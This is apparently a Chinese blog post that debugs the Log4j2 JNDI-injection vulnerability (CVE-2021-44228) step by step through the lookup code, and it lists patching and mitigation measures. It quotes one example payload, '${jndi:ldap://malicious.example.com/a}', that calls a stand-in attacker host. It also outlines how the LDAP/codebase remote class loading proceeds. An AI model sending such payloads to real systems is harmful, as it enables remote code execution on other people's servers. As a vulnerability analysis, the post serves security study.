你知道那个前段时间很火的漏洞嘛~Log4j2漏洞原理调试
slug
series-status
status
summary
date
series
type
password
icon
tags
category
简介
今天来大概地讲一下这个之前很火的这个Log4j2漏洞哈,毕竟之前已经写了很多Java反序列化相关的东西,这个这么大热度的一个漏洞自然也要浅浅蹭一下~
老规矩,ChatGPT一下:
Log4j2漏洞是一个严重的安全漏洞,影响了广泛使用的Java日志库Apache Log4j 2。这个漏洞在2021年12月被公开,并被分配了CVE编号CVE-2021-44228。由于Log4j库在各种Java应用程序中的普遍使用,该漏洞对许多组织和系统构成了重大威胁。
以下是关于Log4j2漏洞的基本信息:
- 漏洞原理:Log4j2漏洞利用了库中的一个功能,该功能允许在日志消息中嵌入Java对象,例如JNDI(Java Naming and Directory Interface)引用。当Log4j解析包含恶意JNDI引用的日志消息时,它可能会触发远程代码执行。攻击者可以通过构造恶意输入,如包含特殊格式的字符串(
${jndi:ldap://malicious.example.com/a}
),来利用这个漏洞。
- 影响范围:Log4j2漏洞影响了Apache Log4j 2版本范围2.0-beta9至2.14.1。由于Log4j在许多Java应用程序和框架中都被用作日志库,该漏洞可能影响到大量的组织和系统。
- 漏洞利用:攻击者可以通过多种方式利用Log4j2漏洞,例如通过Web应用程序的HTTP请求头、查询参数或其他用户输入,将恶意JNDI引用插入到日志消息中。成功利用该漏洞的攻击者可能获得远程代码执行权限,从而窃取数据、破坏系统或进行其他恶意行为。
- 防护措施:为了防范Log4j2漏洞,建议采取以下措施:
- 尽快升级到受影响的Apache Log4j 2的修复版本(2.15.0或更高版本)。
- 如果无法立即升级,可以考虑应用临时解决方案,如将Log4j的“log4j2.formatMsgNoLookups”属性设置为“true”或使用Java系统属性“-Dlog4j2.formatMsgNoLookups=true”来禁用功能。
- 在网络边界处部署入侵检测和防御系统(IDS/IPS),以监控并阻止潜在的攻击尝试。
- 监控应用程序日志,以便及时发现和响应任何异常行为或攻击迹象。
Log4j2漏洞是一个提醒我们关注软件安全和持续更新的重要案例。
漏洞历史
这个漏洞在21年之所以闹得很凶呢,其实还是apache官方的问题,这里我们来回顾一下这个漏洞的历史~
首先我们可以浅浅看一下log4j2这个开源组件的github的commit历史,在2021年12月左右。为什么看这个时间呢,其实是因为这个漏洞最开始是在当年十一月底阿里云的安全研究人员挖掘出来的。然后发现这个漏洞以后呢,apache官方也没有发布公告,也没着急修复,一直到12月5号左右,官方在commit处发布了一堆commit:

最终也导致了这个漏洞最后被放大了。
原理分析
环境部署
JDK
1.8u65
Log4j
2.14.1
Commons Collections
3.1
漏洞服务代码
很简单哈,就直接把用户的输入通过log4j的error输出即可。
原理分析
概况
首先放一张整体的Log4j2,其实也是jndi注入的原理流程图:

大家可以根据这个流程图理解一下jndi的注入流程:
- 攻击者发送恶意payload到有jndi注入问题的服务端
- 服务端解析payload发现是ldap地址
- 调用Java自带的lookup去查找恶意类
- lookup根据payload的ip+端口向攻击者的ldap服务请求ldap服务
- ldap服务接受到靶标发出的请求根据请求的路径返回对应的codebase地址
- 靶标的java部分根据传回的codebase路径向攻击者的codebase请求恶意类
- codebase返回恶意类后走类加载机制
开始调试
Log4j2
接下来,老规矩,断点调试:

传入一个自己工具构造好的payload,开始调试。
首先,默认断点会断在这一步:

可以看到我们的payload实际上是在这个message参数里的,因此我们跟随这个参数一路单步调试即可,在调试的过程中,会进行到这个format方法中:

可以看到这里会首先对这个workingBuilder中的字符串进行判断,看里边是否存在${,如果存在则会取出从$开始到最后的字符串:

随后继续跟进,会发现在这个while循环中会对字符进行逐字匹配,直到匹配到}并获取坐标,然后将${}中间的内容取出来:


接下来就会将解析出来的这个我们的payload中的核心部分传入这个recolveVariable方法中:

诶,接下来关键的步骤来了,可以看到这里的resolveVariable方法里获取了解析器后,则会调用这个解析器的lookup方法:

也就是这个Log4j2漏洞的关键方法。
继续跟进可以发现我们的payload已经被带进来了:

继续跟进,可以看到这里会调用到jdk原生的lookup方法:

兜兜转转,最后会进入到这个部分:

JDK-Lookup(JNDI注入流程)
这里则会调用上下文中的,也就是jdk原生的lookup方法,这里调用的则是这个ldapUrlContext中的lookup方法(这里先简单调试一下,后续会出新的文章专门介绍JNDI注入的核心原理):

这里可以看到首先它会判断是否包含参数,如果无参数则抛出异常,否则则会调用父类的lookup方法。
继续跟进代码流程,最后会发现代码走到了这一步:

也就是通过目录管理器获取实例化对象,最后会通过helper的loadclass方法加载远程类对象,这里已经进入了我们前文讲的从远程codebase加载类的流程:

这里也就是进入了正常的类加载流程:

最后效果(doge.jpg):

Loading...